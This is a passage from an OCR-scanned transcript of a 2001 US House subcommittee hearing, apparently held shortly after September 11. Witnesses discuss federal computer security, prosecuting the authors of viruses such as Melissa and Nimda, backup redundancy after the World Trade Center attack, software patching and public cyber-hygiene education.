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Of course, the state of computing and data centers has dramati-
cally changed through the 1990’s as you are less able to get strictly
at computing capacity because of the advent of connectivity and
networking. So it is not always the best measure of computer ca-
pacity.

Among the things that we looked at in that particular study re-
lating to information security, I think that it is fairly instructive
and connects to some of the points made by the other panelists.
The data that agencies are reporting on the extent of expenditures
on information security varies dramatically across the Federal Gov-
ernment. Several agencies stated they are spending a good percent-
age, 15, 20, 25 percent of their IT funding on security; other agen-
cies reporting they are spending very little.

That kind of data I think is very useful in understanding, at
least based on what agencies are reporting, what kind of priority
they are placing on information security and what that means in
terms of how they are addressing the risks and threats that they
face.

Mr. HOrN. Mr. Dick, why it is so difficult to apprehend these
perpetrators of viruses like Code Reds, its variants and Nimda?
Will they ever be apprehended?

Mr. Dick. Yes, and we have had some successes. I mean, in the
Melissa virus we have been able to determine who did that. And
the Love Letter virus, we were able to determine who the pre-
parator was of that.

Now obviously there are a whole lot of obstacles associated with
that. For example, in the Love Letter virus, even though we were
able to identify who we believe did that, the country in which that
individual lived or resided didn’t have the appropriate laws per-
haps to deal with that.

We are working through the State Department and with our
international partners to try to resolve these issues. As you know,
in the Philippines they have since taken corrective action. So, you
know, I don’t like to paint the picture that it is an insurmountable
obstacle to identify and arrest these individuals. For example, even
on the Leech virus, we have identified a subject in—that we have
brought to the bar of justice in another country. The big obstacle
is that, like the Internet, it is a very global issue.

You know, even if we have—as I talked about in Australia, a
month ago, you know, the United States and Canada and Australia
could, you know, implement all of the appropriate procedures for
firewalls and patch our systems. But because of the way the Inter-
net works and the interconnectivity of the various businesses, if it
is not a global solution and a global response to it, we are still vul-
nerable.

So it makes it very, very difficult but not an insurmountable
problem. My glass is always half full.

Mr. HORN. Well, mine, too. Do you think we have enough laws
to give you guidance within the domain of the United States or are
we missing something? And, if not, should we be putting it in? This
is the time of year where you can stick a lot of things on an omni-
bus appropriation. You can also put language to help people in
other areas. And, if so, let’s hear it.
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Mr. Dick. There are a number of legislative issues that we are
working with the Department of Justice on. You know, some of
which are issues like, for example, if we did an investigation, in
each one of the judicial districts we have to go and get an order
or subpoena or some kind of official document to followup and re-
trieve information from Internet service providers and so forth. It
would be helpful—in this arena time is of the essence, because the
evidence is fleeting, since it is digital. The idea of being able to
have a one-stop shopping, if you will, to be able to get an order that
allows us to go to multiple jurisdictions to get that and not have
to go in each district to get these things.

But there are a number of other proposals like that I would be
happy to provide to you that are in discussion with the Department
of Justice.

Mr. HorN. Mr. Miller.

Mr. MILLER. I would just like to comment on your earlier ques-
tion about the vulnerability of the Internet. Because I know there
is a lot of media here, and I am afraid of the headline tomorrow,
Internet very vulnerable. I think that would be inaccurate.

I think that the Internet, as Mr. Pethia mentioned, was devel-
oped by DARPA to have a lot of redundancy in it. Yes, Mr. Vatis
is correct. There are actually physical risks. The domain name
servers that he mentioned are very important. But the companies
that manage those, Verizon Network Solutions, is very aware of
these vulnerabilities; builds a lot of physical redundancy in their
systems. I am sure that they would be glad to brief your staff in
great detail about that.

Again, as Mr. Seetin said earlier, nothing is totally invulnerable,
as he said very eloquently during his statement. But I don’t want
you or the people who read the stories tomorrow to somehow get
the idea that the Internet is about to be brought down.

I would also like to mention something that I think indirectly
came up in Mr. Seetin’s statement but we haven’t addressed di-
rectly, which is we all believe that, as part of business continuity
planning, we have to have redundancy. But if your redundant sys-
tem is in your same building or if your redundant telephone lines
are going in and out of the same entrance and exit points of the
building, do you truly have redundancy?

And I think what we learned quite dramatically with these
events at the World Trade Center, particularly in the area around
the World Trade Center, which is probably the highest area of tele-
communications density in the world, is that having redundancy lo-
cated in the same building or telecommunications lines going in
and out of the same pipes really isn’t redundancy.

So I think it is going to force a lot of companies to rethink this.
I think the government is going to need to rethink it.

For example, when they build buildings or lease buildings, the
government may need to start asking questions. Where in this
building is the back-up system? Is it in exactly the same building
or right across the street? Do we really, truly have redundancy?
And I think it is something that the subcommittee may want to
{:ake a further look at, because we did find that was a bit of a prob-
em.

Again, Mr. Seetin may want to address this in more detail.
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Mr. SEETIN. Yes, thank you very much.

In fact, that is the case. The redundancy that we had planned
on really was a result—because we had that facility at least al-
ready because our space in Four World Trade was inadequate to
actually provide the computer space that we needed.

To the extent that our experience with the 1993 bombing still
didn’t give an indication of the potential scope of an attack—and
I must say this—I don’t know that anybody would have predicted
the scope of this type of attack. We did learn the lesson in that the
back-up system which was halfway across the island from us hap-
pened to be the one that was affected by the attack in addition to
us. And we have already taken steps now. In fact, as I said before,
on Monday, as of Monday next week, you know, we are—our back-
up system is very far away. It’s at a completely different utility
telenetwork. So, unfortunately, yes, we learned our lesson the hard
way. It didn’t cost us in terms of our ability to get up and running.
It could have. But,

Mr. HORN. Any other thoughts, Mr. Miller, on that? And anybody
else on the panel in terms of giving some advice to the government
that we could prepare our systems for catastrophe, from what we
know now. We're going to have the staff up in New York and they’ll
talk to a lot of the people with your guidance, Mr. Seetin.

Yes, Mr. Willemssen.

Mr. WILLEMSSEN. Just going to add, Mr. Chairman, to the extent
that agencies have business continuity and contingency plans now,
it’s a good point—if they haven’t already—to take a look at them,
reassess the threat and reassess the likelihood of the threat and
the impact it might have, and then put in the appropriate contin-
gencies in the event it occurs. I don’t know that’s happened univer-
sally yet. I think in light of recent events it’'s a good opportunity
to do that.

And I would concur with some of the comments made earlier
about the critical importance of communications from an emer-
gency response and preparedness perspective.

Mr. PETHIA. Yeah. Also I’d like to comment on your earlier state-
ments and questions about the need for Homeland Defense and the
possible role that Tom Ridge might take. I think it is important,
and I agree with what Mr. Miller said, that we do need to have the
function of an IT czar. And I also think it’s important that it be
under one agency coordinated with other kinds of infrastructure ac-
tivities. I think one of the lessons we’re all learning is just how
interdependent all of these infrastructures are. And this time we
were only attacked from one dimension, but I can easily imagine
in future attacks that while we’re dealing with one problem, we’ll
see one in yet another part of our infrastructure, and we need to
be able to coordinate responses to all of those at one time.

You know, I would hate to think of what would have happened
on September 11 if at the same time we were struggling with what
happened from—Dby the terrorists, we were also dealing with things
like Nimda and other kinds of information infrastructure attacks.
It would have hurt us severely.

Mr. HORN. We mentioned the software developers and a number
of you mentioned that. How difficult is it for the industry to get
some of these software developers into the products before they’re
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released? I mean, are these great difficulties by them? Or—you go
to all the professional groups in the country, Mr. Miller; what do
you hear?

Mr. MILLER. Well, I guess my starting point diverges a little bit
from Mr. Pethia. We've disagreed publicly before, so this isn’t the
first time. We do believe that our companies do put forth maximum
effort to first of all create systems that have as little security flaws
as possible. And second, many of them go out of their way to try
to do—but I do agree with him that they should have the highest
possible security configurations preset.

The difficulty is that in software engineering, as well as engi-
neering on automobiles or building or airplanes, there are still
going to be flaws. No design is going to be perfect. Yes, it can be
better; but no design is going to be perfect. And so there are going
to be these followup challenges. And those followup challenges are
dealt with by patches. And, as Mr. Dick said, the problem isn’t that
the patches weren’t out there. The problem was that in many cases
the patches simply were not implemented.

I would also say that the companies are trying to build into their
systems the highest configuration security setting. But what the
companies tell me is when they go back to their customers, they
find that this is a problem as to what the customers actually do.

For example—this now goes back a year and half to a meeting
at the White House with President Clinton—but one of the major
companies there, a well-known computer services firm, said that
when they went back and visited their customers 90 days after in-
stalling systems, on the average, two-thirds of companies had
turned off all the security features. Or when they went in and
checked as to what the passwords were for some of the major cus-
tomers, the password was “password.”

So it is a bit of a challenge. And the question is, even if the best
software, designed with the best engineering, is set, if the customer
refuses to use it, then you get into a problem. So how do we get
this kind of acceptance? Just like how do you convince people to
use seatbelts or how do you convince people when they get Amer-
ican Express or travelers checks not to put the numbers of the
American Express checks in the same wallet?

And that really is a problem of communication. It’s not that the
product itself is flawed or that the principle is flawed. It’s getting
broader buy-in. I don’t have a simple answer. I think a lot of it goes
back to the point Mr. Dick was making. It’s education. And we at
ITAA, the Partnership for Critical Information Security—which is
ITAA—and many other industries have been discussing with the
government whether this might be a good time for a massive public
service campaign to try to get more customers aware of the need
to practice good cyber-hygiene. And frankly, we’re internally di-
vided about whether to move forward or not, Mr. Chair.

There is some concern this will look like somehow, next to what’s
happened at the World Trade Center and the physical security
threats, that this will simply get lost in the message and it won’t
really be effective. But other people believe that this is very timely,
because particularly with the Code Red worm, the Nimda virus—
and, as Mr. Pethia said, had they occurred at the same time as the
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attacks, the physical attacks, who knows what would have hap-
pened?

So we're pursuing this as an option right now. And again, it’s a
collaboration between industry and government if we do roll this
out. But somehow we’ve got to get into the heads of the customers,
No. 1, no matter how well we design the software, there’s going to
be flaws subsequently. You've got to install the patches.

No. 2, take advantage of those security features.

And No. 3, it’s not just the technology. It’s the people and the
processes. And if you have great technology software and you don’t
install it, or you use “password” as your password, you might as
well forget about it. You’re just not playing the game the right way.

Mr. PETHIA. As Harris said, we have a tradition of disagreeing
on certain points. I agree wholeheartedly that we need better secu-
rity administration. We need people to adopt practices. But there
is a big difference between bulletproof software and where we are
today. Things like the top 10 list or the top 20 list are useful, but
they can only be created with hindsight. The top 10 or the top 20
are things that we know are problems because we've already been
attacked with those 10 or 20.

When system administrators are faced with 2,000 new
vulnerabilities a year, which 10 do they focus on? It’s not a matter
of 10’s and 20’s. It’s a matter of getting from 2,000 down to 10 or
20, so that they only have to deal with those and not the thousands
of others.

Mr. HORN. Mr. Vatis, you're at Dartmouth, and a lot of their
graduates go to Madison Avenue in New York and have the best—
have the best type of communications in ads and everything else.
And maybe some of this, with the damage we’ve seen in New York,
we could get some public service ads where we would educate from
lap computers to all the big ones and try to get the attitude
changed. And I would think there’s enough examples that are seen
in the New York situation where maybe this is the time it’ll cut
through to people that, hey, we’re not doing it the right way.

So I would hope that your professional group there, Mr. Miller,
might use that as a project. And I remember when we talked about
a “good housekeeping seal of approval,” and it seems to me people
wouldn’t want—I would think the average citizen might say, well,
we don’t want all these bugs running around, worms running
around, if I put my data base on it. I don’t really have any feeling
that you can’t really hurt—you can hurt it. And you’ve spent a cou-
ple of thousand dollars. And I would think that those people in the
various different manufacturing would say, hey, this is a good
thing that we can now use this. And it seems to me that a lot of
people in—a lot of professional people ought to be working that
feel—and again, New York is certainly why we should be doing
this.

Mr. VATIS. Mr. Chairman, if I could just offer a slightly different
perspective on that. I think education is very important, but I don’t
think it’s going to be a panacea. There have already been many ef-
forts to educate people about safe practices in cyberspace. And Mr.
Miller’s organization, with the Department of Justice, sponsored
such an education program over the last year and a half or so.
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You started out this hearing by saying that you hope that recent
events would offer a wake-up call to America. I'm afraid that we've
had so many wake-up calls that people are just repeatedly pushing
the snooze button. One would have thought that the I Love You
virus, the Melissa virus, the distributed denial of service attacks,
Code Red, Nimda—the list goes on and on—each one of those
should have offered a wake-up call, and yet we still see the persist-
ent vulnerabilities.

At the same time, I think while industry is focused, as Mr. Miller
said, on improving security within software, I think, again, their
focus is in the short term on getting products to market quickly,
with the state-of-the-art of security that exists today. But part of
the problem is the state-of-the-art of security today, as Mr. Pethia
has alluded to, is not good enough. And so even if customers don’t
turn off all of the security that’s available in software, they’re still
vulnerable to attack. And if they are turning a lot of the security
functions off, to my mind, that suggests a problem with some of
those security functions potentially, because they may limit the
functionality of the software. And so a customer might make the
determination that it’s simply not worth it. Or they’re simply too
difficult.

One example of that is encryption. Encryption is available today
for people to use to preserve the confidentiality of their communica-
tions and their stored data. But it’s not widely used because it is
considered a hassle by many people and, again, not simply worth
it. One solution to that is to try to design an encryption technology
that is easier to use, so that people can, with the click of a mouse
or the push of one key on the keyboard, ensure confidentiality.

So the answer again, to me, over the long-term, is research and
development to design technology that is easy to use and that of-
fers broader and deeper assurance of security than the current
technology allows. And again, as I think several of the panelists
have said, the private sector is important on that. But they are
naturally going to be thinking about near-term profitmaking ven-
tures. That is their mission in life, and appropriately so. But gov-
ernment funded research and development is critical to look at the
long-term developments that can really help us secure the informa-
tion base.

Mr. HORN. I would think that a manufacturer—now, I look at
these Dell ads, etc., and that’s changed a lot of things in the mar-
ket. And I would think that the one that is able to say we’re react-
ing to both the foreign hackers, domestic hackers and all the rest,
and we have a good housing, and keeping it going and having some
sort of—you talk about their monetary interests and they could put
it to good interest.

So—and I think people would go and want to buy it now, because
it’s just too complex to have all this machinery going down the
drain, with all these people coming in from various things. And I
guess, Mr. Dick, besides the incoming ones in the United States so
far, has your Center found that foreign hackers have come into the
United States? Or how difficult is that to decide it and to see it?

Mr. Dick. If you will, the doors of the Internet have made all
kinds of illicit contact on the Internet available to the globe. And
yes, I mean, we're seeing a number of intrusions into U.S. systems
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by foreign subjects and organizations. Here recently, we had a se-
ries of intrusions into e-commerce businesses, the focus of which
was emanating from Eastern Europe. We were able to identify who
those individuals were, and have brought several of them to pros-
ecution here in the United States.

So because of the borderless nature of the Internet, criminals
and terrorists and any of the threats that you can identify just
don’t emanate from the United States. It’s a global issue which I've
referred to before.

Mr. HORN. Mr. Seetin noted that the Web site was a critical
point of contact, since the cell phone relays went out. I'd just say
for both of you, did the Nimda virus scanning have an impact on
the availability of your site?

Mr. SEETIN. Thank you, Mr. Chairman. No. In fact, our tech-
nology folks had been well aware of that and were operating, you
know, with great caution. Our system uses what—commonly used
encryption systems by the financial industry, because obviously we
face the same issues as they do in terms of potential threat. So we
went in using that. We did not face those types of problems with
our Web site. Not to say that we wouldn’t, you know. And I agree
with the other panelists here that, indeed, looking forward, I think
the only thing we can anticipate is that the bad guys are going to
get smarter and they’re going to get badder, and so we have to stay
ahead of them to the degree that we can.

Mr. HORN. Any other thoughts on that? We're going to be closing
this down in a few minutes and we won’t keep you here forever.
Anything that should have been said that we didn’t ask about?
We're going to have the majority and minority staff go over the
questions, that I just have said you can only use so many, and we’d
appreciate any thoughts you might have, and they’ll write you.

And is there anything that some of your colleagues said that we
didn’t ask and you think it’s important?

OK. What I'm going to do is have a closing statement. I thank
you all for coming down here, and we can’t predict what lies ahead
anymore. We weren’t able to anticipate the horrible events of Sep-
tember 11, but the Nation has now been placed on alert. Let’s hope
we can keep that sense of alert to get something done.

Protecting our information infrastructure and our critical govern-
ment computer systems must become our highest priority. The ad-
ministration is taking an aggressive step, as I mentioned, with the
creation of the Office of Homeland Security under Governor Ridge.
The Office of Management and Budget must also play a key role.
And I note that the Director of OMB has a representative taking
notes here. So hopefully it'll be moved through the bureaucracy
down there.

I look forward to working with all of you as we focus on this vi-
tally important issue. And I want to thank the staff: the minority
staff, David McMillen, Jean Gosa; and with the majority staff we
have J. Russell George, behind me, staff director/chief counsel. He
grew up right near some of those towers, and so he knows New
York well.

Elizabeth Johnston, on my left, your right, is on loan to us from
the General Accounting Office, and we're delighted to have her
working on this particular hearing. Then Darin Chidsey and Matt
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Phillips, professional staff. Mark Johnson is our very able clerk,
and Jim Holmes is the intern this week. And the court reporters
are Christina Smith and Mark Stuart.

We thank you all for what you’ve done here, and we’ll try to get
this hearing out as fast as we can. We are adjourned.

[Whereupon, at 12:15 p.m., the subcommittee was adjourned.]
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